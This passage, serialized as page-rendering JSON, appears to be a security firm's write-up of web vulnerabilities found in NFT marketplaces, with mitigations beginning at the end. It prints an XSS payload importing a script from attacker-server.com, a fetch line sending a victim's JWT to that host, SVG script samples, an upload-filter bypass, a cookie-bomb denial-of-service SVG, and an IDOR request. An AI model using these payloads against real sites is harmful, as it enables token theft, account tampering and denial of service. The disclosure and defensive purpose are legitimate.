04,"children":32305},{"style":635},[32306],{"type":26,"value":31527},{"type":20,"tag":315,"props":32308,"children":32309},{"style":334},[32310],{"type":26,"value":31325},{"type":20,"tag":315,"props":32312,"children":32313},{"style":635},[32314],{"type":26,"value":31536},{"type":20,"tag":315,"props":32316,"children":32317},{"style":334},[32318],{"type":26,"value":61},{"type":20,"tag":315,"props":32320,"children":32321},{"style":635},[32322],{"type":26,"value":31527},{"type":20,"tag":315,"props":32324,"children":32325},{"style":334},[32326],{"type":26,"value":1405},{"type":20,"tag":315,"props":32328,"children":32329},{"class":317,"line":2147},[32330],{"type":20,"tag":315,"props":32331,"children":32332},{"emptyLinePlaceholder":15},[32333],{"type":26,"value":427},{"type":20,"tag":315,"props":32335,"children":32336},{"class":317,"line":2177},[32337,32342,32346,32351],{"type":20,"tag":315,"props":32338,"children":32339},{"style":635},[32340],{"type":26,"value":32341}," form123",{"type":20,"tag":315,"props":32343,"children":32344},{"style":334},[32345],{"type":26,"value":61},{"type":20,"tag":315,"props":32347,"children":32348},{"style":345},[32349],{"type":26,"value":32350},"submit",{"type":20,"tag":315,"props":32352,"children":32353},{"style":334},[32354],{"type":26,"value":6131},{"type":20,"tag":315,"props":32356,"children":32357},{"class":317,"line":2185},[32358,32362],{"type":20,"tag":315,"props":32359,"children":32360},{"style":541},[32361],{"type":26,"value":31556},{"type":20,"tag":315,"props":32363,"children":32364},{"style":328},[32365],{"type":26,"value":31561},{"type":20,"tag":315,"props":32367,"children":32368},{"class":317,"line":2217},[32369],{"type":20,"tag":315,"props":32370,"children":32371},{"emptyLinePlaceholder":15},[32372],{"type":26,"value":427},{"type":20,"tag":315,"props":32374,"children":32375},{"class":317,"line":2225},[32376,32380,32384],{"type":20,"tag":315,"props":32377,"children":32378},{"style":30791},[32379],{"type":26,"value":31258},{"type":20,"tag":315,"props":32381,"children":32382},{"style":541},[32383],{"type":26,"value":30831},{"type":20,"tag":315,"props":32385,"children":32386},{"style":30791},[32387],{"type":26,"value":4386},{"type":20,"tag":315,"props":32389,"children":32390},{"class":317,"line":2285},[32391,32395,32399],{"type":20,"tag":315,"props":32392,"children":32393},{"style":30791},[32394],{"type":26,"value":30845},{"type":20,"tag":315,"props":32396,"children":32397},{"style":541},[32398],{"type":26,"value":30798},{"type":20,"tag":315,"props":32400,"children":32401},{"style":30791},[32402],{"type":26,"value":4386},{"type":20,"tag":29,"props":32404,"children":32405},{},[32406],{"type":26,"value":32407},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":20,"tag":305,"props":32409,"children":32413},{"className":32410,"code":32411,"language":32412,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[32414],{"type":20,"tag":119,"props":32415,"children":32416},{"__ignoreMap":7},[32417,32424,32445,32466,32483],{"type":20,"tag":315,"props":32418,"children":32419},{"class":317,"line":318},[32420],{"type":20,"tag":315,"props":32421,"children":32422},{"style":328},[32423],{"type":26,"value":723},{"type":20,"tag":315,"props":32425,"children":32426},{"class":317,"line":356},[32427,32432,32436,32441],{"type":20,"tag":315,"props":32428,"children":32429},{"style":635},[32430],{"type":26,"value":32431}," \"address\"",{"type":20,"tag":315,"props":32433,"children":32434},{"style":328},[32435],{"type":26,"value":13732},{"type":20,"tag":315,"props":32437,"children":32438},{"style":2652},[32439],{"type":26,"value":32440},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":20,"tag":315,"props":32442,"children":32443},{"style":328},[32444],{"type":26,"value":643},{"type":20,"tag":315,"props":32446,"children":32447},{"class":317,"line":365},[32448,32453,32457,32462],{"type":20,"tag":315,"props":32449,"children":32450},{"style":635},[32451],{"type":26,"value":32452}," \"to\"",{"type":20,"tag":315,"props":32454,"children":32455},{"style":328},[32456],{"type":26,"value":13732},{"type":20,"tag":315,"props":32458,"children":32459},{"style":2652},[32460],{"type":26,"value":32461},"\"profile-assets\"",{"type":20,"tag":315,"props":32463,"children":32464},{"style":328},[32465],{"type":26,"value":643},{"type":20,"tag":315,"props":32467,"children":32468},{"class":317,"line":374},[32469,32474,32478],{"type":20,"tag":315,"props":32470,"children":32471},{"style":635},[32472],{"type":26,"value":32473}," \"type\"",{"type":20,"tag":315,"props":32475,"children":32476},{"style":328},[32477],{"type":26,"value":13732},{"type":20,"tag":315,"props":32479,"children":32480},{"style":2652},[32481],{"type":26,"value":32482},"\"icon\"\n",{"type":20,"tag":315,"props":32484,"children":32485},{"class":317,"line":383},[32486],{"type":20,"tag":315,"props":32487,"children":32488},{"style":328},[32489],{"type":26,"value":577},{"type":20,"tag":29,"props":32491,"children":32492},{},[32493],{"type":26,"value":32494},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":20,"tag":305,"props":32496,"children":32498},{"className":29779,"code":32497,"language":29781,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[32499],{"type":20,"tag":119,"props":32500,"children":32501},{"__ignoreMap":7},[32502],{"type":20,"tag":315,"props":32503,"children":32504},{"class":317,"line":318},[32505,32510,32514,32519,32524,32529,32533,32538,32542,32547,32551,32556,32560],{"type":20,"tag":315,"props":32506,"children":32507},{"style":345},[32508],{"type":26,"value":32509},"fetch",{"type":20,"tag":315,"props":32511,"children":32512},{"style":328},[32513],{"type":26,"value":1049},{"type":20,"tag":315,"props":32515,"children":32516},{"style":2652},[32517],{"type":26,"value":32518},"`https://attacker-server.com/?token_leak=",{"type":20,"tag":315,"props":32520,"children":32521},{"style":541},[32522],{"type":26,"value":32523},"${",{"type":20,"tag":315,"props":32525,"children":32526},{"style":635},[32527],{"type":26,"value":32528},"localStorage",{"type":20,"tag":315,"props":32530,"children":32531},{"style":334},[32532],{"type":26,"value":61},{"type":20,"tag":315,"props":32534,"children":32535},{"style":345},[32536],{"type":26,"value":32537},"getItem",{"type":20,"tag":315,"props":32539,"children":32540},{"style":334},[32541],{"type":26,"value":1049},{"type":20,"tag":315,"props":32543,"children":32544},{"style":2652},[32545],{"type":26,"value":32546},"'token'",{"type":20,"tag":315,"props":32548,"children":32549},{"style":334},[32550],{"type":26,"value":1509},{"type":20,"tag":315,"props":32552,"children":32553},{"style":541},[32554],{"type":26,"value":32555},"}",{"type":20,"tag":315,"props":32557,"children":32558},{"style":2652},[32559],{"type":26,"value":8782},{"type":20,"tag":315,"props":32561,"children":32562},{"style":328},[32563],{"type":26,"value":2214},{"type":20,"tag":219,"props":32565,"children":32567},{"id":32566},"svgs",[32568],{"type":26,"value":32569},"SVGs",{"type":20,"tag":29,"props":32571,"children":32572},{},[32573],{"type":26,"value":32574},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":20,"tag":29,"props":32576,"children":32577},{},[32578],{"type":26,"value":32579},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":20,"tag":305,"props":32581,"children":32583},{"className":29779,"code":32582,"language":29781,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[32584],{"type":20,"tag":119,"props":32585,"children":32586},{"__ignoreMap":7},[32587,32633,32670,32677,32707,32739,32767,32775,32791],{"type":20,"tag":315,"props":32588,"children":32589},{"class":317,"line":318},[32590,32595,32600,32605,32609,32614,32619,32623,32628],{"type":20,"tag":315,"props":32591,"children":32592},{"style":334},[32593],{"type":26,"value":32594},"\u003C?",{"type":20,"tag":315,"props":32596,"children":32597},{"style":635},[32598],{"type":26,"value":32599},"xml",{"type":20,"tag":315,"props":32601,"children":32602},{"style":635},[32603],{"type":26,"value":32604}," version",{"type":20,"tag":315,"props":32606,"children":32607},{"style":334},[32608],{"type":26,"value":337},{"type":20,"tag":315,"props":32610,"children":32611},{"style":2652},[32612],{"type":26,"value":32613},"\"1.0\"",{"type":20,"tag":315,"props":32615,"children":32616},{"style":635},[32617],{"type":26,"value":32618}," encoding",{"type":20,"tag":315,"props":32620,"children":32621},{"style":334},[32622],{"type":26,"value":337},{"type":20,"tag":315,"props":32624,"children":32625},{"style":2652},[32626],{"type":26,"value":32627},"\"UTF-8\"",{"type":20,"tag":315,"props":32629,"children":32630},{"style":334},[32631],{"type":26,"value":32632},"?>\n",{"type":20,"tag":315,"props":32634,"children":32635},{"class":317,"line":356},[32636,32641,32646,32651,32656,32661,32666],{"type":20,"tag":315,"props":32637,"children":32638},{"style":334},[32639],{"type":26,"value":32640},"\u003C!",{"type":20,"tag":315,"props":32642,"children":32643},{"style":635},[32644],{"type":26,"value":32645},"DOCTYPE",{"type":20,"tag":315,"props":32647,"children":32648},{"style":635},[32649],{"type":26,"value":32650}," svg",{"type":20,"tag":315,"props":32652,"children":32653},{"style":635},[32654],{"type":26,"value":32655}," PUBLIC",{"type":20,"tag":315,"props":32657,"children":32658},{"style":2652},[32659],{"type":26,"value":32660}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":20,"tag":315,"props":32662,"children":32663},{"style":2652},[32664],{"type":26,"value":32665}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":20,"tag":315,"props":32667,"children":32668},{"style":334},[32669],{"type":26,"value":4386},{"type":20,"tag":315,"props":32671,"children":32672},{"class":317,"line":365},[32673],{"type":20,"tag":315,"props":32674,"children":32675},{"emptyLinePlaceholder":15},[32676],{"type":26,"value":427},{"type":20,"tag":315,"props":32678,"children":32679},{"class":317,"line":374},[32680,32684,32689,32694,32698,32703],{"type":20,"tag":315,"props":32681,"children":32682},{"style":30791},[32683],{"type":26,"value":7115},{"type":20,"tag":315,"props":32685,"children":32686},{"style":541},[32687],{"type":26,"value":32688},"svg",{"type":20,"tag":315,"props":32690,"children":32691},{"style":635},[32692],{"type":26,"value":32693}," xmlns",{"type":20,"tag":315,"props":32695,"children":32696},{"style":334},[32697],{"type":26,"value":337},{"type":20,"tag":315,"props":32699,"children":32700},{"style":2652},[32701],{"type":26,"value":32702},"\"http://www.w3.org/2000/svg\"",{"type":20,"tag":315,"props":32704,"children":32705},{"style":30791},[32706],{"type":26,"value":4386},{"type":20,"tag":315,"props":32708,"children":32709},{"class":317,"line":383},[32710,32714,32719,32723,32727,32731,32735],{"type":20,"tag":315,"props":32711,"children":32712},{"style":30791},[32713],{"type":26,"value":30810},{"type":20,"tag":315,"props":32715,"children":32716},{"style":541},[32717],{"type":26,"value":32718},"title",{"type":20,"tag":315,"props":32720,"children":32721},{"style":30791},[32722],{"type":26,"value":8862},{"type":20,"tag":315,"props":32724,"children":32725},{"style":328},[32726],{"type":26,"value":29653},{"type":20,"tag":315,"props":32728,"children":32729},{"style":30791},[32730],{"type":26,"value":30845},{"type":20,"tag":315,"props":32732,"children":32733},{"style":541},[32734],{"type":26,"value":32718},{"type":20,"tag":315,"props":32736,"children":32737},{"style":30791},[32738],{"type":26,"value":4386},{"type":20,"tag":315,"props":32740,"children":32741},{"class":317,"line":407},[32742,32746,32750,32754,32758,32763],{"type":20,"tag":315,"props":32743,"children":32744},{"style":30791},[32745],{"type":26,"value":30810},{"type":20,"tag":315,"props":32747,"children":32748},{"style":541},[32749],{"type":26,"value":30831},{"type":20,"tag":315,"props":32751,"children":32752},{"style":635},[32753],{"type":26,"value":30955},{"type":20,"tag":315,"props":32755,"children":32756},{"style":334},[32757],{"type":26,"value":337},{"type":20,"tag":315,"props":32759,"children":32760},{"style":2652},[32761],{"type":26,"value":32762},"\"text/javascript\"",{"type":20,"tag":315,"props":32764,"children":32765},{"style":30791},[32766],{"type":26,"value":4386},{"type":20,"tag":315,"props":32768,"children":32769},{"class":317,"line":421},[32770],{"type":20,"tag":315,"props":32771,"children":32772},{"style":328},[32773],{"type":26,"value":32774}," alert(document.domain);\n",{"type":20,"tag":315,"props":32776,"children":32777},{"class":317,"line":430},[32778,32783,32787],{"type":20,"tag":315,"props":32779,"children":32780},{"style":30791},[32781],{"type":26,"value":32782}," \u003C/",{"type":20,"tag":315,"props":32784,"children":32785},{"style":541},[32786],{"type":26,"value":30831},{"type":20,"tag":315,"props":32788,"children":32789},{"style":30791},[32790],{"type":26,"value":4386},{"type":20,"tag":315,"props":32792,"children":32793},{"class":317,"line":453},[32794,32799,32803],{"type":20,"tag":315,"props":32795,"children":32796},{"style":30791},[32797],{"type":26,"value":32798}," \u003C/",{"type":20,"tag":315,"props":32800,"children":32801},{"style":541},[32802],{"type":26,"value":32688},{"type":20,"tag":315,"props":32804,"children":32805},{"style":30791},[32806],{"type":26,"value":4386},{"type":20,"tag":29,"props":32808,"children":32809},{},[32810,32812,32819],{"type":26,"value":32811},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":20,"tag":35,"props":32813,"children":32816},{"href":32814,"rel":32815},"https://xtingles.com/",[39],[32817],{"type":26,"value":32818},"xtingles Marketplace",{"type":26,"value":61},{"type":20,"tag":29,"props":32821,"children":32822},{},[32823],{"type":26,"value":32824},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":20,"tag":29,"props":32826,"children":32827},{},[32828],{"type":26,"value":32829},"Below, we show you how we did it.",{"type":20,"tag":29,"props":32831,"children":32832},{},[32833],{"type":26,"value":32834},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":20,"tag":29,"props":32836,"children":32837},{},[32838],{"type":20,"tag":2308,"props":32839,"children":32841},{"alt":7,"src":32840},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":20,"tag":29,"props":32843,"children":32844},{},[32845],{"type":26,"value":32846},"After changing the extension inside the file name.",{"type":20,"tag":29,"props":32848,"children":32849},{},[32850],{"type":20,"tag":2308,"props":32851,"children":32853},{"alt":7,"src":32852},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":20,"tag":219,"props":32855,"children":32857},{"id":32856},"svgs-return",[32858],{"type":26,"value":32859},"SVGs Return",{"type":20,"tag":29,"props":32861,"children":32862},{},[32863],{"type":26,"value":32864},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":20,"tag":29,"props":32866,"children":32867},{},[32868],{"type":26,"value":32869},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":20,"tag":29,"props":32871,"children":32872},{},[32873],{"type":26,"value":32874},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":20,"tag":305,"props":32876,"children":32880},{"className":32877,"code":32878,"language":32879,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[32881],{"type":20,"tag":119,"props":32882,"children":32883},{"__ignoreMap":7},[32884,32923,32954,32961,32988,33019,33046,33054,33062,33069,33081,33156,33164,33179],{"type":20,"tag":315,"props":32885,"children":32886},{"class":317,"line":318},[32887,32891,32895,32899,32903,32907,32911,32915,32919],{"type":20,"tag":315,"props":32888,"children":32889},{"style":334},[32890],{"type":26,"value":32594},{"type":20,"tag":315,"props":32892,"children":32893},{"style":635},[32894],{"type":26,"value":32599},{"type":20,"tag":315,"props":32896,"children":32897},{"style":635},[32898],{"type":26,"value":32604},{"type":20,"tag":315,"props":32900,"children":32901},{"style":334},[32902],{"type":26,"value":337},{"type":20,"tag":315,"props":32904,"children":32905},{"style":2652},[32906],{"type":26,"value":32613},{"type":20,"tag":315,"props":32908,"children":32909},{"style":635},[32910],{"type":26,"value":32618},{"type":20,"tag":315,"props":32912,"children":32913},{"style":334},[32914],{"type":26,"value":337},{"type":20,"tag":315,"props":32916,"children":32917},{"style":2652},[32918],{"type":26,"value":32627},{"type":20,"tag":315,"props":32920,"children":32921},{"style":334},[32922],{"type":26,"value":32632},{"type":20,"tag":315,"props":32924,"children":32925},{"class":317,"line":356},[32926,32930,32934,32938,32942,32946,32950],{"type":20,"tag":315,"props":32927,"children":32928},{"style":334},[32929],{"type":26,"value":32640},{"type":20,"tag":315,"props":32931,"children":32932},{"style":635},[32933],{"type":26,"value":32645},{"type":20,"tag":315,"props":32935,"children":32936},{"style":635},[32937],{"type":26,"value":32650},{"type":20,"tag":315,"props":32939,"children":32940},{"style":635},[32941],{"type":26,"value":32655},{"type":20,"tag":315,"props":32943,"children":32944},{"style":2652},[32945],{"type":26,"value":32660},{"type":20,"tag":315,"props":32947,"children":32948},{"style":2652},[32949],{"type":26,"value":32665},{"type":20,"tag":315,"props":32951,"children":32952},{"style":334},[32953],{"type":26,"value":4386},{"type":20,"tag":315,"props":32955,"children":32956},{"class":317,"line":365},[32957],{"type":20,"tag":315,"props":32958,"children":32959},{"emptyLinePlaceholder":15},[32960],{"type":26,"value":427},{"type":20,"tag":315,"props":32962,"children":32963},{"class":317,"line":374},[32964,32968,32972,32976,32980,32984],{"type":20,"tag":315,"props":32965,"children":32966},{"style":30791},[32967],{"type":26,"value":7115},{"type":20,"tag":315,"props":32969,"children":32970},{"style":541},[32971],{"type":26,"value":32688},{"type":20,"tag":315,"props":32973,"children":32974},{"style":635},[32975],{"type":26,"value":32693},{"type":20,"tag":315,"props":32977,"children":32978},{"style":334},[32979],{"type":26,"value":337},{"type":20,"tag":315,"props":32981,"children":32982},{"style":2652},[32983],{"type":26,"value":32702},{"type":20,"tag":315,"props":32985,"children":32986},{"style":30791},[32987],{"type":26,"value":4386},{"type":20,"tag":315,"props":32989,"children":32990},{"class":317,"line":383},[32991,32995,32999,33003,33007,33011,33015],{"type":20,"tag":315,"props":32992,"children":32993},{"style":30791},[32994],{"type":26,"value":30810},{"type":20,"tag":315,"props":32996,"children":32997},{"style":541},[32998],{"type":26,"value":32718},{"type":20,"tag":315,"props":33000,"children":33001},{"style":30791},[33002],{"type":26,"value":8862},{"type":20,"tag":315,"props":33004,"children":33005},{"style":328},[33006],{"type":26,"value":29653},{"type":20,"tag":315,"props":33008,"children":33009},{"style":30791},[33010],{"type":26,"value":30845},{"type":20,"tag":315,"props":33012,"children":33013},{"style":541},[33014],{"type":26,"value":32718},{"type":20,"tag":315,"props":33016,"children":33017},{"style":30791},[33018],{"type":26,"value":4386},{"type":20,"tag":315,"props":33020,"children":33021},{"class":317,"line":407},[33022,33026,33030,33034,33038,33042],{"type":20,"tag":315,"props":33023,"children":33024},{"style":30791},[33025],{"type":26,"value":30810},{"type":20,"tag":315,"props":33027,"children":33028},{"style":541},[33029],{"type":26,"value":30831},{"type":20,"tag":315,"props":33031,"children":33032},{"style":635},[33033],{"type":26,"value":30955},{"type":20,"tag":315,"props":33035,"children":33036},{"style":334},[33037],{"type":26,"value":337},{"type":20,"tag":315,"props":33039,"children":33040},{"style":2652},[33041],{"type":26,"value":32762},{"type":20,"tag":315,"props":33043,"children":33044},{"style":30791},[33045],{"type":26,"value":4386},{"type":20,"tag":315,"props":33047,"children":33048},{"class":317,"line":421},[33049],{"type":20,"tag":315,"props":33050,"children":33051},{"style":328},[33052],{"type":26,"value":33053}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":20,"tag":315,"props":33055,"children":33056},{"class":317,"line":430},[33057],{"type":20,"tag":315,"props":33058,"children":33059},{"style":328},[33060],{"type":26,"value":33061}," var Set_Cookie = Array(10000).join('a');\n",{"type":20,"tag":315,"props":33063,"children":33064},{"class":317,"line":453},[33065],{"type":20,"tag":315,"props":33066,"children":33067},{"emptyLinePlaceholder":15},[33068],{"type":26,"value":427},{"type":20,"tag":315,"props":33070,"children":33071},{"class":317,"line":486},[33072,33077],{"type":20,"tag":315,"props":33073,"children":33074},{"style":328},[33075],{"type":26,"value":33076}," for (var i = 1; i \u003C 99; i++) ",{"type":20,"tag":315,"props":33078,"children":33079},{"style":541},[33080],{"type":26,"value":723},{"type":20,"tag":315,"props":33082,"children":33083},{"class":317,"line":499},[33084,33089,33093,33098,33102,33107,33112,33116,33120,33125,33129,33134,33138,33143,33147,33152],{"type":20,"tag":315,"props":33085,"children":33086},{"style":635},[33087],{"type":26,"value":33088}," document",{"type":20,"tag":315,"props":33090,"children":33091},{"style":334},[33092],{"type":26,"value":61},{"type":20,"tag":315,"props":33094,"children":33095},{"style":635},[33096],{"type":26,"value":33097},"cookie",{"type":20,"tag":315,"props":33099,"children":33100},{"style":334},[33101],{"type":26,"value":31325},{"type":20,"tag":315,"props":33103,"children":33104},{"style":2652},[33105],{"type":26,"value":33106},"'Cookie'",{"type":20,"tag":315,"props":33108,"children":33109},{"style":334},[33110],{"type":26,"value":33111}," + ",{"type":20,"tag":315,"props":33113,"children":33114},{"style":635},[33115],{"type":26,"value":2122},{"type":20,"tag":315,"props":33117,"children":33118},{"style":334},[33119],{"type":26,"value":33111},{"type":20,"tag":315,"props":33121,"children":33122},{"style":2652},[33123],{"type":26,"value":33124},"'='",{"type":20,"tag":315,"props":33126,"children":33127},{"style":334},[33128],{"type":26,"value":33111},{"type":20,"tag":315,"props":33130,"children":33131},{"style":635},[33132],{"type":26,"value":33133},"Set_Cookie",{"type":20,"tag":315,"props":33135,"children":33136},{"style":334},[33137],{"type":26,"value":33111},{"type":20,"tag":315,"props":33139,"children":33140},{"style":2652},[33141],{"type":26,"value":33142},"';Domain='",{"type":20,"tag":315,"props":33144,"children":33145},{"style":334},[33146],{"type":26,"value":33111},{"type":20,"tag":315,"props":33148,"children":33149},{"style":635},[33150],{"type":26,"value":33151},"Take_Domain",{"type":20,"tag":315,"props":33153,"children":33154},{"style":334},[33155],{"type":26,"value":1405},{"type":20,"tag":315,"props":33157,"children":33158},{"class":317,"line":513},[33159],{"type":20,"tag":315,"props":33160,"children":33161},{"style":541},[33162],{"type":26,"value":33163}," }\n",{"type":20,"tag":315,"props":33165,"children":33166},{"class":317,"line":521},[33167,33171,33175],{"type":20,"tag":315,"props":33168,"children":33169},{"style":30791},[33170],{"type":26,"value":32782},{"type":20,"tag":315,"props":33172,"children":33173},{"style":541},[33174],{"type":26,"value":30831},{"type":20,"tag":315,"props":33176,"children":33177},{"style":30791},[33178],{"type":26,"value":4386},{"type":20,"tag":315,"props":33180,"children":33181},{"class":317,"line":552},[33182,33186,33190],{"type":20,"tag":315,"props":33183,"children":33184},{"style":30791},[33185],{"type":26,"value":32798},{"type":20,"tag":315,"props":33187,"children":33188},{"style":541},[33189],{"type":26,"value":32688},{"type":20,"tag":315,"props":33191,"children":33192},{"style":30791},[33193],{"type":26,"value":4386},{"type":20,"tag":29,"props":33195,"children":33196},{},[33197],{"type":26,"value":33198},"As a result, we're able to prevent the user from loading images.",{"type":20,"tag":21,"props":33200,"children":33202},{"id":33201},"authentication",[33203],{"type":26,"value":33204},"Authentication",{"type":20,"tag":29,"props":33206,"children":33207},{},[33208],{"type":20,"tag":55,"props":33209,"children":33210},{},[33211,33213,33220],{"type":26,"value":33212},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":20,"tag":35,"props":33214,"children":33217},{"href":33215,"rel":33216},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[39],[33218],{"type":26,"value":33219},"great misfortune has occured",{"type":26,"value":61},{"type":20,"tag":219,"props":33222,"children":33224},{"id":33223},"verification-token-leakage",[33225],{"type":26,"value":33226},"Verification Token Leakage",{"type":20,"tag":29,"props":33228,"children":33229},{},[33230],{"type":26,"value":33231},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":20,"tag":29,"props":33233,"children":33234},{},[33235],{"type":26,"value":33236},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":20,"tag":29,"props":33238,"children":33239},{},[33240,33245],{"type":20,"tag":55,"props":33241,"children":33242},{},[33243],{"type":26,"value":33244},"Proof of Concept",{"type":26,"value":33246},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":20,"tag":29,"props":33248,"children":33249},{},[33250],{"type":26,"value":33251},"Here's the breakdown.",{"type":20,"tag":29,"props":33253,"children":33254},{},[33255],{"type":26,"value":33256},"First, we send the verification link to a user's email:",{"type":20,"tag":29762,"props":33258,"children":33259},{"style":29764},[33260],{"type":20,"tag":2308,"props":33261,"children":33265},{"src":33262,"alt":33263,"style":33264},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":20,"tag":29,"props":33267,"children":33268},{},[33269],{"type":26,"value":33270},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":20,"tag":219,"props":33272,"children":33274},{"id":33273},"idor",[33275],{"type":26,"value":33276},"IDOR",{"type":20,"tag":29,"props":33278,"children":33279},{},[33280],{"type":20,"tag":55,"props":33281,"children":33282},{},[33283,33285,33292],{"type":26,"value":33284},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":20,"tag":35,"props":33286,"children":33289},{"href":33287,"rel":33288},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[39],[33290],{"type":26,"value":33291},"insect",{"type":26,"value":61},{"type":20,"tag":29,"props":33294,"children":33295},{},[33296,33298,33304],{"type":26,"value":33297},"During a security assessment of the ",{"type":20,"tag":35,"props":33299,"children":33302},{"href":33300,"rel":33301},"https://rocki.com",[39],[33303],{"type":26,"value":29700},{"type":26,"value":33305},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":20,"tag":29,"props":33307,"children":33308},{},[33309],{"type":26,"value":33310},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":20,"tag":29,"props":33312,"children":33313},{},[33314],{"type":26,"value":33315},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":20,"tag":29,"props":33317,"children":33318},{},[33319,33321,33327,33329,33334],{"type":26,"value":33320},"Here is an example of a request that modifies another user's social media link to ",{"type":20,"tag":119,"props":33322,"children":33324},{"className":33323},[],[33325],{"type":26,"value":33326},"https://evil.com/",{"type":26,"value":33328},". To achieve this, we simply changed the ",{"type":20,"tag":119,"props":33330,"children":33332},{"className":33331},[],[33333],{"type":26,"value":1866},{"type":26,"value":33335}," field value to one that belongs to another user:",{"type":20,"tag":29,"props":33337,"children":33338},{},[33339],{"type":20,"tag":2308,"props":33340,"children":33342},{"alt":7,"src":33341},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":20,"tag":29,"props":33344,"children":33345},{},[33346],{"type":26,"value":33347},"The following screenshot is the response to our request:",{"type":20,"tag":29,"props":33349,"children":33350},{},[33351],{"type":20,"tag":2308,"props":33352,"children":33354},{"alt":7,"src":33353},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":20,"tag":21,"props":33356,"children":33358},{"id":33357},"preventative-action-steps-for-marketplaces",[33359],{"type":20,"tag":3717,"props":33360,"children":33361},{},[33362],{"type":26,"value":33363},"Preventative Action Steps for Marketplaces",{"type":20,"tag":29,"props":33365,"children":33366},{},[33367],{"type":26,"value":33368},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":20,"tag":29,"props":33370,"children":33371},{},[33372,33374,33380,33382,33388],{"type":26,"value":33373},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":20,"tag":119,"props":33375,"children":33377},{"className":33376},[],[33378],{"type":26,"value":33379},"innerText",{"type":26,"value":33381}," instead of ",{"type":20,"tag":119,"props":33383,"children":33385},{"className":33384},[],[33386],{"type":26,"value":33387},"innerHTML",{"type":26,"value":33389}," in client-side:",{"type":20,"tag":305,"props":33391,"children":33393},{"className":29779,"code":33392,"language":29781,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = 